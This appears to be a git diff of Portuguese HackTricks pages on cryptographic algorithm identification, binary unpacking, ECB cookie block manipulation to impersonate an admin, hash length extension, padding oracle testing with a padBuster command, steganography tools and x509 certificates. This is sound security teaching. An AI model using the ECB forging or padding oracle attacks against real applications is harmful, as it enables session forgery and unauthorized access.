algoritmo AES**. ## RC4 **(Criptografia Simétrica)** @@ -76,15 +76,15 @@ Neste caso, se você procurar por **0xA56363C6**, você pode descobrir que está É composto por 3 partes principais: -* **Estágio de inicialização/**: Cria uma **tabela de valores de 0x00 a 0xFF** (256 bytes no total, 0x100). Esta tabela é comumente chamada de **Caixa de Substituição** (ou SBox). -* **Estágio de embaralhamento**: Irá **percorrer a tabela** criada anteriormente (loop de 0x100 iterações, novamente) modificando cada valor com bytes **semi-aleatórios**. Para criar esses bytes semi-aleatórios, a chave RC4 é usada. As chaves RC4 podem ter **entre 1 e 256 bytes de comprimento**, no entanto, geralmente é recomendado que seja acima de 5 bytes. Comumente, as chaves RC4 têm 16 bytes de comprimento. -* **Estágio XOR**: Por fim, o texto simples ou cifrado é **XORado com os valores criados anteriormente**. A função para criptografar e descriptografar é a mesma. Para isso, um **loop pelos 256 bytes criados** será executado quantas vezes forem necessárias. Isso é geralmente reconhecido em um código decompilado com um **%256 (mod 256)**. +* **Estágio de inicialização/**: Cria uma **tabela de valores de 0x00 a 0xFF** (256bytes no total, 0x100). Esta tabela é comumente chamada de **Caixa de Substituição** (ou SBox). +* **Estágio de embaralhamento**: Irá **percorrer a tabela** criada anteriormente (loop de 0x100 iterações, novamente) modificando cada valor com bytes **semi-aleatórios**. Para criar esses bytes semi-aleatórios, a **chave RC4 é usada**. As **chaves RC4** podem ter **entre 1 e 256 bytes de comprimento**, no entanto, geralmente é recomendado que sejam superiores a 5 bytes. Comumente, as chaves RC4 têm 16 bytes de comprimento. +* **Estágio XOR**: Finalmente, o texto simples ou o texto cifrado é **XORed com os valores criados anteriormente**. A função para criptografar e descriptografar é a mesma. Para isso, um **loop pelos 256 bytes criados** será realizado quantas vezes forem necessárias. Isso geralmente é reconhecido em um código decompilado com um **%256 (mod 256)**. {% hint style="info" %} -**Para identificar um RC4 em um código de desmontagem/decompilado, verifique 2 loops de tamanho 0x100 (com o uso de uma chave) e em seguida um XOR dos dados de entrada com os 256 valores criados anteriormente nos 2 loops, provavelmente usando um %256 (mod 256)** +**Para identificar um RC4 em um código desassemblado/decompilado, você pode verificar 2 loops de tamanho 0x100 (com o uso de uma chave) e, em seguida, um XOR dos dados de entrada com os 256 valores criados anteriormente nos 2 loops, provavelmente usando um %256 (mod 256)** {% endhint %} -### **Estágio de Inicialização/Caixa de Substituição:** (Observe o número 256 usado como contador e como um 0 é escrito em cada lugar dos 256 caracteres) +### **Estágio de Inicialização/Caixa de Substituição:** (Note o número 256 usado como contador e como um 0 é escrito em cada lugar dos 256 chars) ![](<../../.gitbook/assets/image (584).png>) @@ -100,9 +100,9 @@ Neste caso, se você procurar por **0xA56363C6**, você pode descobrir que está ### **Características** -* Uso de **caixas de substituição e tabelas de pesquisa** -* É possível **distinguir o AES graças ao uso de valores específicos de tabela de pesquisa** (constantes). _Observe que a **constante** pode ser **armazenada** no binário **ou criada**_ _**dinamicamente**._ -* A **chave de criptografia** deve ser **divisível** por **16** (geralmente 32B) e geralmente um **IV** de 16B é usado. +* Uso de **caixas de substituição e tabelas de consulta** +* É possível **distinguir o AES graças ao uso de valores específicos de tabelas de consulta** (constantes). _Note que a **constante** pode ser **armazenada** no binário **ou criada** _**dinamicamente**._ +* A **chave de criptografia** deve ser **divisível** por **16** (geralmente 32B) e geralmente é usado um **IV** de 16B. ### Constantes SBox @@ -112,30 +112,31 @@ Neste caso, se você procurar por **0xA56363C6**, você pode descobrir que está ### Características -* É raro encontrar algum malware usando, mas existem exemplos (Ursnif) -* Fácil de determinar se um algoritmo é Serpent ou não com base em seu comprimento (função extremamente longa) +* É raro encontrar algum malware usando, mas há exemplos (Ursnif) +* Simples de determinar se um algoritmo é Serpent ou não com base em seu comprimento (função extremamente longa) -### Identificação +### Identificando -Na seguinte imagem, observe como a constante **0x9E3779B9** é usada (observe que esta constante também é usada por outros algoritmos criptográficos como **TEA** -Tiny Encryption Algorithm).\ -Observe também o **tamanho do loop** (**132**) e o **número de operações XOR** nas instruções de **desmontagem** e no **exemplo de código**: +Na imagem a seguir, note como a constante **0x9E3779B9** é usada (note que esta constante também é usada por outros algoritmos criptográficos como **TEA** -Tiny Encryption Algorithm).\ +Também note o **tamanho do loop** (**132**) e o **número de operações XOR** nas instruções de **desmontagem** e no **exemplo de código**: ![](<../../.gitbook/assets/image (547).png>) -Como mencionado anteriormente, este código pode ser visualizado dentro de qualquer decompilador como uma **função muito longa** pois **não há saltos** dentro dela. O código decompilado pode se parecer com o seguinte: +Como mencionado anteriormente, este código pode ser visualizado dentro de qualquer decompilador como uma **função muito longa**, pois **não há saltos** dentro dele. O código decompilado pode parecer o seguinte: ![](<../../.gitbook/assets/image (513).png>) -Portanto, é possível identificar este algoritmo verificando o **número mágico** e os **XORs iniciais**, vendo uma **função muito longa** e **comparando** algumas **instruções** da função longa **com uma implementação** (como o deslocamento à esquerda por 7 e a rotação à esquerda por 22). +Portanto, é possível identificar este algoritmo verificando o **número mágico** e os **XORs iniciais**, vendo uma **função muito longa** e **comparando** algumas **instruções** da longa função **com uma implementação** (como o deslocamento à esquerda por 7 e a rotação à esquerda por 22). + ## RSA **(Criptografia Assimétrica)** ### Características * Mais complexo do que algoritmos simétricos * Não há constantes! (implementações personalizadas são difíceis de determinar) -* KANAL (um analisador de criptografia) falha em mostrar dicas sobre RSA, pois depende de constantes. +* KANAL (um analisador criptográfico) falha em mostrar dicas sobre RSA, pois depende de constantes. -### Identificação por comparações +### Identificando por comparações ![](<../../.gitbook/assets/image (1113).png>) @@ -146,12 +147,12 @@ Portanto, é possível identificar este algoritmo verificando o **número mágic ### Características -* 3 funções: Inicializar, Atualizar, Finalizar +* 3 funções: Init, Update, Final * Funções de inicialização semelhantes -### Identificação +### Identificar -**Inicializar** +**Init** Você pode identificar ambos verificando as constantes. Note que o sha\_init tem 1 constante que o MD5 não tem: @@ -159,18 +160,18 @@ Você pode identificar ambos verificando as constantes. Note que o sha\_init tem **Transformação MD5** -Observe o uso de mais constantes +Note o uso de mais constantes ![](<../../.gitbook/assets/image (253) (1) (1).png>) ## CRC (hash) -* Menor e mais eficiente, pois sua função é encontrar alterações acidentais nos dados -* Usa tabelas de pesquisa (para que você possa identificar constantes) +* Menor e mais eficiente, pois sua função é encontrar mudanças acidentais nos dados +* Usa tabelas de consulta (então você pode identificar constantes) -### Identificação +### Identificar -Verifique as **constantes da tabela de pesquisa**: +Verifique **constantes da tabela de consulta**: ![](<../../.gitbook/assets/image (508).png>) @@ -183,14 +184,29 @@ Um algoritmo de hash CRC se parece com: ### Características * Constantes não reconhecíveis -* Você pode tentar escrever o algoritmo em Python e procurar por coisas semelhantes online +* Você pode tentar escrever o algoritmo em python e procurar por coisas semelhantes online -### Identificação +### Identificar -O gráfico é bastante extenso: +O gráfico é bastante grande: ![](<../../.gitbook/assets/image (207) (2) (1).png>) Verifique **3 comparações para reconhecê-lo**: ![](<../../.gitbook/assets/image (430).png>) + +{% hint style="success" %} +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+{% endhint %} diff --git a/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md b/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md index 9ee527f61..9993911fc 100644 --- a/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md +++ b/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md @@ -8,7 +8,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: propriedades --> memória). +* Enquanto desempacota código, **note** sempre que você **muda a região de memória**, pois uma mudança na região de memória pode indicar o **início do código desempacotado**. Você pode facilmente despejar uma região de memória usando o Process Hacker (processo --> propriedades --> memória). * Enquanto tenta desempacotar código, uma boa maneira de **saber se você já está trabalhando com o código desempacotado** (para que você possa apenas despejá-lo) é **verificar as strings do binário**. Se em algum momento você realizar um salto (talvez mudando a região de memória) e notar que **muitas mais strings foram adicionadas**, então você pode saber **que está trabalhando com o código desempacotado**.\ No entanto, se o empacotador já contém muitas strings, você pode ver quantas strings contêm a palavra "http" e verificar se esse número aumenta. * Quando você despeja um executável de uma região de memória, pode corrigir alguns cabeçalhos usando [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). @@ -46,7 +46,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/crypto-and-stego/electronic-code-book-ecb.md b/crypto-and-stego/electronic-code-book-ecb.md index c6d768e80..8e1a44218 100644 --- a/crypto-and-stego/electronic-code-book-ecb.md +++ b/crypto-and-stego/electronic-code-book-ecb.md @@ -1,25 +1,26 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} + # ECB -(ECB) Electronic Code Book - esquema de criptografia simétrica que **substitui cada bloco do texto claro** pelo **bloco de texto cifrado**. É o esquema de criptografia **mais simples**. A ideia principal é **dividir** o texto claro em **blocos de N bits** (depende do tamanho do bloco de dados de entrada, algoritmo de criptografia) e então criptografar (descriptografar) cada bloco de texto claro usando a única chave. +(ECB) Livro de Código Eletrônico - esquema de criptografia simétrica que **substitui cada bloco do texto claro** pelo **bloco de texto cifrado**. É o esquema de criptografia **mais simples**. A ideia principal é **dividir** o texto claro em **blocos de N bits** (depende do tamanho do bloco de dados de entrada, algoritmo de criptografia) e então criptografar (descriptografar) cada bloco do texto claro usando a única chave. ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -O uso do ECB tem múltiplas implicações de segurança: +Usar ECB tem múltiplas implicações de segurança: * **Blocos da mensagem criptografada podem ser removidos** * **Blocos da mensagem criptografada podem ser movidos** @@ -28,7 +29,7 @@ O uso do ECB tem múltiplas implicações de segurança: Imagine que você faz login em um aplicativo várias vezes e **sempre recebe o mesmo cookie**. Isso ocorre porque o cookie do aplicativo é **`|`**.\ Então, você gera dois novos usuários, ambos com a **mesma senha longa** e **quase** o **mesmo** **nome de usuário**.\ -Você descobre que os **blocos de 8B** onde a **informação de ambos os usuários** é a mesma são **iguais**. Então, você imagina que isso pode ser porque está sendo usado o **ECB**. +Você descobre que os **blocos de 8B** onde a **info de ambos os usuários** é a mesma são **iguais**. Então, você imagina que isso pode ser porque **ECB está sendo usado**. Como no exemplo a seguir. Observe como esses **2 cookies decodificados** têm várias vezes o bloco **`\x23U\xE45K\xCB\x21\xC8`**. ``` @@ -36,44 +37,60 @@ Como no exemplo a seguir. Observe como esses **2 cookies decodificados** têm v \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` -Isso ocorre porque o **nome de usuário e senha desses cookies continha várias vezes a letra "a"** (por exemplo). Os **blocos** que são **diferentes** são blocos que continham **pelo menos 1 caractere diferente** (talvez o delimitador "|" ou alguma diferença necessária no nome de usuário). +Isso ocorre porque o **nome de usuário e a senha desses cookies continham várias vezes a letra "a"** (por exemplo). Os **blocos** que são **diferentes** são blocos que continham **pelo menos 1 caractere diferente** (talvez o delimitador "|" ou alguma diferença necessária no nome de usuário). -Agora, o atacante só precisa descobrir se o formato é `` ou ``. Para fazer isso, ele pode simplesmente **gerar vários nomes de usuário** com **nomes de usuário e senhas semelhantes e longos até encontrar o formato e o comprimento do delimitador:** +Agora, o atacante só precisa descobrir se o formato é `` ou ``. Para fazer isso, ele pode apenas **gerar vários nomes de usuário** com **nomes de usuário e senhas longos e semelhantes até encontrar o formato e o comprimento do delimitador:** -| Comprimento do nome de usuário: | Comprimento da senha: | Comprimento do nome de usuário + senha: | Comprimento do cookie (após decodificação): | -| ------------------------------- | --------------------- | --------------------------------------- | ------------------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +| Comprimento do nome de usuário: | Comprimento da senha: | Comprimento do nome de usuário+senha: | Comprimento do cookie (após decodificação): | +| ------------------------------- | --------------------- | ------------------------------------- | ------------------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | # Exploração da vulnerabilidade ## Removendo blocos inteiros -Conhecendo o formato do cookie (`|`), para se passar pelo nome de usuário `admin`, crie um novo usuário chamado `aaaaaaaaadmin` e obtenha o cookie e decodifique-o: +Sabendo o formato do cookie (`|`), para se passar pelo nome de usuário `admin`, crie um novo usuário chamado `aaaaaaaaadmin` e obtenha o cookie e decodifique-o: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` Podemos ver o padrão `\x23U\xE45K\xCB\x21\xC8` criado anteriormente com o nome de usuário que continha apenas `a`.\ -Em seguida, você pode remover o primeiro bloco de 8B e obter um cookie válido para o nome de usuário `admin`: +Então, você pode remover o primeiro bloco de 8B e obterá um cookie válido para o nome de usuário `admin`: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` ## Movendo blocos -Em muitos bancos de dados, é a mesma coisa procurar por `WHERE username='admin';` ou por `WHERE username='admin ';` _(Note os espaços extras)_ +Em muitos bancos de dados, é o mesmo procurar por `WHERE username='admin';` ou por `WHERE username='admin ';` _(Note os espaços extras)_ Assim, outra maneira de se passar pelo usuário `admin` seria: -* Gerar um nome de usuário que: `len() + len(` irá gerar 2 blocos de 8Bs. -* Em seguida, gerar uma senha que preencherá um número exato de blocos contendo o nome de usuário que queremos nos passar e espaços, como: `admin ` +* Gerar um nome de usuário que: `len() + len(` gerará 2 blocos de 8Bs. +* Em seguida, gerar uma senha que preencherá um número exato de blocos contendo o nome de usuário que queremos imitar e espaços, como: `admin ` -O cookie deste usuário será composto por 3 blocos: os 2 primeiros são os blocos do nome de usuário + delimitador e o terceiro da senha (que está fingindo ser o nome de usuário): `username |admin ` +O cookie deste usuário será composto por 3 blocos: os primeiros 2 são os blocos do nome de usuário + delimitador e o terceiro da senha (que está falsificando o nome de usuário): `username |admin ` -**Então, basta substituir o primeiro bloco pelo último e estaremos nos passando pelo usuário `admin`: `admin |username`** +**Então, basta substituir o primeiro bloco pelo último e você estará se passando pelo usuário `admin`: `admin |username`** ## Referências * [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\)) + + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/crypto-and-stego/hash-length-extension-attack.md b/crypto-and-stego/hash-length-extension-attack.md index 4219f5622..b35a7532c 100644 --- a/crypto-and-stego/hash-length-extension-attack.md +++ b/crypto-and-stego/hash-length-extension-attack.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -25,13 +25,13 @@ Imagine um servidor que está **assinando** alguns **dados** ao **anexar** um ** * **O algoritmo (e ele é vulnerável a este ataque)** * **O padding é conhecido** * Normalmente, um padrão padrão é usado, então se os outros 3 requisitos forem atendidos, isso também é -* O padding varia dependendo do comprimento do segredo + dados, é por isso que o comprimento do segredo é necessário +* O padding varia dependendo do comprimento do segredo + dados, por isso o comprimento do segredo é necessário Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma **assinatura** válida para os **dados anteriores + dados anexados**. ### Como? -Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir** do **hash** (estado) **anteriormente** criado, eles **adicionam o próximo bloco de dados** e **hasham**. +Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir do** **hash** (estado) **anteriormente** criado, eles **adicionam o próximo bloco de dados** e **hasham**. Então, imagine que o segredo é "segredo" e os dados são "dados", o MD5 de "segredodados" é 6036708eba0d11f6ef52ad44e8b74d5b.\ Se um atacante quiser anexar a string "anexar", ele pode: @@ -61,7 +61,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/crypto-and-stego/padding-oracle-priv.md b/crypto-and-stego/padding-oracle-priv.md index dbdd2dfa2..a409bf9c0 100644 --- a/crypto-and-stego/padding-oracle-priv.md +++ b/crypto-and-stego/padding-oracle-priv.md @@ -27,12 +27,12 @@ Para descriptografar CBC, as **operações opostas** são realizadas: ![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png) -Note como é necessário usar uma **chave de criptografia** e um **IV**. +Observe como é necessário usar uma **chave de criptografia** e um **IV**. ## Message Padding Como a criptografia é realizada em **blocos de tamanho fixo**, o **padding** geralmente é necessário no **último bloco** para completar seu comprimento.\ -Normalmente, **PKCS7** é usado, que gera um padding **repetindo** o **número** de **bytes** **necessários** para **completar** o bloco. Por exemplo, se o último bloco estiver faltando 3 bytes, o padding será `\x03\x03\x03`. +Normalmente, o **PKCS7** é usado, que gera um padding **repetindo** o **número** de **bytes** **necessários** para **completar** o bloco. Por exemplo, se o último bloco estiver faltando 3 bytes, o padding será `\x03\x03\x03`. Vamos olhar mais exemplos com **2 blocos de comprimento 8bytes**: @@ -47,7 +47,7 @@ Note como no último exemplo o **último bloco estava cheio, então outro foi ge ## Padding Oracle -Quando uma aplicação descriptografa dados criptografados, ela primeiro descriptografa os dados; então remove o padding. Durante a limpeza do padding, se um **padding inválido acionar um comportamento detectável**, você tem uma **vulnerabilidade de padding oracle**. O comportamento detectável pode ser um **erro**, uma **falta de resultados** ou uma **resposta mais lenta**. +Quando uma aplicação descriptografa dados criptografados, ela primeiro descriptografa os dados; então, remove o padding. Durante a limpeza do padding, se um **padding inválido acionar um comportamento detectável**, você tem uma **vulnerabilidade de padding oracle**. O comportamento detectável pode ser um **erro**, uma **falta de resultados** ou uma **resposta mais lenta**. Se você detectar esse comportamento, pode **descriptografar os dados criptografados** e até mesmo **criptografar qualquer texto claro**. @@ -57,7 +57,7 @@ Você pode usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/A ``` sudo apt-get install padbuster ``` -Para testar se o cookie de um site é vulnerável, você pode tentar: +Para testar se o cookie de um site é vulnerável, você poderia tentar: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` diff --git a/crypto-and-stego/rc4-encrypt-and-decrypt.md b/crypto-and-stego/rc4-encrypt-and-decrypt.md index 0b9f89523..dbbd89098 100644 --- a/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,42 +1,7 @@ -{% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Se você conseguir de alguma forma criptografar um texto simples usando RC4, você pode descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia. -
- -Apoie o HackTricks - -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
-{% endhint %} - - -Se você puder de alguma forma criptografar um texto simples usando o RC4, você pode descriptografar qualquer conteúdo criptografado por esse RC4 (usando a mesma senha) apenas usando a função de criptografia. - -Se você puder criptografar um texto simples conhecido, também poderá extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos: +Se você pode criptografar um texto simples conhecido, você também pode extrair a senha. Mais referências podem ser encontradas na máquina HTB Kryptos: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} - - - - - -{% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) - -
- -Apoie o HackTricks - -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
-{% endhint %} diff --git a/crypto-and-stego/stego-tricks.md b/crypto-and-stego/stego-tricks.md index d30dac1d6..862b567f3 100644 --- a/crypto-and-stego/stego-tricks.md +++ b/crypto-and-stego/stego-tricks.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -152,7 +152,7 @@ Para uma exploração adicional, considere visitar: ### **Steghide (JPEG, BMP, WAV, AU)** -Steghide é uma ferramenta versátil projetada para esconder dados em arquivos JPEG, BMP, WAV e AU. Instruções detalhadas estão disponíveis na [documentação de truques de stego](stego-tricks.md#steghide). +Steghide é uma ferramenta versátil projetada para esconder dados em arquivos JPEG, BMP, WAV e AU. Instruções detalhadas estão disponíveis na [documentação de truques de esteganografia](stego-tricks.md#steghide). ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** @@ -212,9 +212,9 @@ Aprenda e pratique Hacking GCP: Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/cryptography/certificates.md b/cryptography/certificates.md index ef259e812..9ff9d5847 100644 --- a/cryptography/certificates.md +++ b/cryptography/certificates.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -44,15 +44,15 @@ Em certificados x509, vários **campos** desempenham papéis críticos na garant * **Emissor** detalha quem verificou e assinou o certificado, incluindo subcampos semelhantes ao Sujeito para a CA. * O **Período de Validade** é marcado por timestamps **Não Antes** e **Não Depois**, garantindo que o certificado não seja usado antes ou depois de uma certa data. * A seção **Chave Pública**, crucial para a segurança do certificado, especifica o algoritmo, tamanho e outros detalhes técnicos da chave pública. -* As **extensões x509v3** aprimoram a funcionalidade do certificado, especificando **Uso de Chave**, **Uso de Chave Estendida**, **Nome Alternativo do Sujeito** e outras propriedades para ajustar a aplicação do certificado. +* As **extensões x509v3** aprimoram a funcionalidade do certificado, especificando **Uso de Chave**, **Uso de Chave Estendido**, **Nome Alternativo do Sujeito** e outras propriedades para ajustar a aplicação do certificado. #### **Uso de Chave e Extensões** * **Uso de Chave** identifica aplicações criptográficas da chave pública, como assinatura digital ou criptografia de chave. -* **Uso de Chave Estendida** restringe ainda mais os casos de uso do certificado, por exemplo, para autenticação de servidor TLS. +* **Uso de Chave Estendido** restringe ainda mais os casos de uso do certificado, por exemplo, para autenticação de servidor TLS. * **Nome Alternativo do Sujeito** e **Restrição Básica** definem nomes de host adicionais cobertos pelo certificado e se é um certificado CA ou de entidade final, respectivamente. * Identificadores como **Identificador de Chave do Sujeito** e **Identificador de Chave da Autoridade** garantem unicidade e rastreabilidade das chaves. -* **Acesso à Informação da Autoridade** e **Pontos de Distribuição de CRL** fornecem caminhos para verificar a CA emissora e verificar o status de revogação do certificado. +* **Acesso à Informação da Autoridade** e **Pontos de Distribuição de CRL** fornecem caminhos para verificar a CA emissora e checar o status de revogação do certificado. * **SCTs de Pré-certificado CT** oferecem logs de transparência, cruciais para a confiança pública no certificado. ```python # Example of accessing and using x509 certificate fields programmatically: @@ -93,7 +93,7 @@ Registros de certificado são registros auditáveis publicamente, apenas para ad #### **Consulta** -Para explorar os registros de Transparência de Certificado para qualquer domínio, visite [https://crt.sh/](https://crt.sh). +Para explorar registros de Transparência de Certificado para qualquer domínio, visite [https://crt.sh/](https://crt.sh). Existem diferentes formatos para armazenar certificados, cada um com seus próprios casos de uso e compatibilidade. Este resumo cobre os principais formatos e fornece orientações sobre como converter entre eles. @@ -104,7 +104,7 @@ Existem diferentes formatos para armazenar certificados, cada um com seus própr * Formato mais amplamente utilizado para certificados. * Requer arquivos separados para certificados e chaves privadas, codificados em Base64 ASCII. * Extensões comuns: .cer, .crt, .pem, .key. -* Principalmente usado por servidores Apache e similares. +* Principalmente usado por Apache e servidores similares. ### **Formato DER** diff --git a/cryptography/cipher-block-chaining-cbc-mac-priv.md b/cryptography/cipher-block-chaining-cbc-mac-priv.md index dc5226e13..87543886b 100644 --- a/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
